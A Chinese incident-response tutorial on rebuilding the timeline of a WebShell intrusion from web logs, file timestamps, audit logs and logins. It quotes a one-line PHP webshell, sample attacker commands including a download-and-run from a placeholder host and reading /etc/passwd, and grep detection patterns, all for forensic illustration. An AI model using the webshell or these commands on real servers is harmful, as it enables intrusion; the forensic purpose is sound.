服务器上多了一个 1.php,内容只有一行 eval($_POST['x']);。
你删了它,以为结束了。但真正的入侵可能发生在 72 小时之前。
WebShell 只是攻击链的中间一环。删掉文件,攻击者可能还有:
光删文件是止血,不是根治。要真正还原攻击过程,需要做的是——时间线重建。
大部分应急响应的第一步是 find /var/www -name "*.php" -mtime -7,找到可疑文件,删掉。这个动作有两个致命问题:
时间线重建的思路是:把 Web 日志、文件系统、进程记录、用户登录、系统配置变更,全部按时间轴对齐,还原出攻击者从进入到撤退的完整轨迹。

一次典型的 WebShell 攻击,时间线上会呈现四个阶段:
每个阶段在日志里都会留下特征时间点。找到这四个点,就找到了时间线的锚。
初始入侵的特征是异常的 HTTP 请求。重点看三类:
grep -E "(\.\./|eval\(|base64_decode|system\(|exec\()" /var/log/nginx/access.log*
常见的特征:
../ 目录穿越union select SQL 注入eval / system / exec 命令执行wget / curl 远程下载zgrep "multipart/form-data" /var/log/nginx/access.log*
重点看 POST 到 upload.php / uploadify.php 这类接口的请求,以及响应码为 200 的上传。
grep -iE "sqlmap|nikto|acunetix|nmap|masscan" /var/log/nginx/access.log*
如果日志里出现这些 User-Agent,说明攻击者事先做过扫描。
找到最早的一条异常请求,这就是时间线的起点。
WebShell 落地后,文件系统会留下两个时间戳:
mtime(修改时间):文件内容最后一次变化ctime(状态变更时间):inode 状态最后一次变化(创建、权限、属主变更)find /var/www/html -type f -name "*.php" -exec stat -c "%y %n" {} \; | sort
把结果按时间排序,找"集群式"的时间段——攻击者往往在几分钟内连续上传多个文件。
find /var/www/html -type f -name "*.php" -exec stat -c "%y %n" {} \; | \
awk '{print $1, $2}' | sort | uniq -c | sort -nr | head -20
这个命令按"分钟"聚合,如果某一分钟内出现 3 个以上的文件创建,基本可以确定是批量上传。
再和访问日志交叉验证:从文件列表里找出可疑的 WebShell,用文件名去 Web 日志里反查访问记录,就能对上是哪一次 HTTP 请求把它落地的。
WebShell 被访问后,攻击者的下一步通常是执行命令。这一步的痕迹在访问日志的 URL 参数里。
grep -o "cmd=[^&]*" /var/log/nginx/access.log* | sort | uniq -c | sort -nr
常见的命令参数名:cmd、exec、c、command、shell。
把请求 URL 里的 URL 编码解开,你会看到类似这样的东西:
cmd=whoami
cmd=uname -a
cmd=cat /etc/passwd
cmd=wget http://xxx/backdoor
cmd=chmod +x /tmp/xxx && /tmp/xxx
每一条都是一次攻击者操作的快照。按时间排序,就得到了"命令执行时间线"。
Web 日志只看得到"通过 HTTP 做了什么",看不到"攻击者直接登录系统后做了什么"。这部分要靠系统日志:
last -F | head -50
看有没有异常 IP、异常时间、异常账号(尤其是 root)。
ausearch -sc execve -ts recent | aureport -x -i
这是最有价值的日志之一——它记录了每一个进程的执行参数。如果攻击者执行了 wget、curl、bash -i、nc、python,全都会留下痕迹。
stat /etc/passwd /etc/shadow /etc/sudoers /etc/crontab /root/.bash_history
看修改时间。任何一处被动,都要深入查。
find /tmp /var/tmp -type f -exec stat -c "%y %n" {} \; 2>/dev/null | sort
攻击者的工具、脚本、反弹 shell 往往先落在 /tmp。文件创建时间就是操作时间。
到这里,你手里有四五份时间线数据,但它们是分散的。下一步是把它们合并到同一个时间轴上。
{
awk '{print "WEB", $0}' upload_timeline.txt
awk '{print "FILE", $0}' php_files_timeline.txt
awk '{print "CMD", $0}' command_execution_timeline.txt
awk '{print "LOGIN", $0}' user_login_timeline.txt
} | sort -k2,3 > complete_attack_timeline.txt
合并之后,你会看到这样的东西:
这就是攻击者的操作时间线。每一行都是他做的一件事。
时间线不只是"发生了什么"的记录,它还能告诉你"这是一个什么样的攻击者"。
如果从 WebShell 上传到命令执行之间只隔了 90 秒,说明是自动化工具;如果隔了 18 小时,说明是人工操作。
awk '{print $2}' complete_attack_timeline.txt | cut -d: -f1 | sort | uniq -c
如果攻击集中在某个时区的工作时间,可以推断攻击者的地理位置。
awk 'BEGIN {GAP=3600} {
if ($2 - last > GAP || $1 != last_ip) session++
print session, $0
last = $2; last_ip = $1
}' sorted_timeline.txt
把间隔小于 1 小时、同 IP 的活动归为一个"会话"。这样能清楚地看出攻击者分几次进场。
一份应急报告的核心不是"我们发现了什么",而是"我们能证明什么"。
时间线分析的产出应该包括:
| 项 | 内容 |
|---|---|
| 入侵起点 | 最早一条异常请求的时间、IP、URL |
| WebShell 落地 | 文件路径、落地时间、上传方式 |
| 操作轨迹 | 时间 + 命令 + 结果 |
| 持久化证据 | 后门文件、crontab、账号变更 |
| 数据外泄窗口 | 数据库查询、大文件下载的时间段 |
| 攻击者画像 | 时区、工具、自动化程度 |
每一条结论都要能对应到一条原始日志。这是应急报告和"我们觉得"之间的区别。
时间线排查的价值,不在于"找到那个文件",而在于建立一个可以复盘的攻击全貌。
删掉一个 WebShell 只需要 3 秒。
搞清楚"他怎么进来的、做了什么、还留了什么",可能需要 3 天。
但只有后者,才能让下一次入侵不再发生。
access.log、auth.log、audit.log)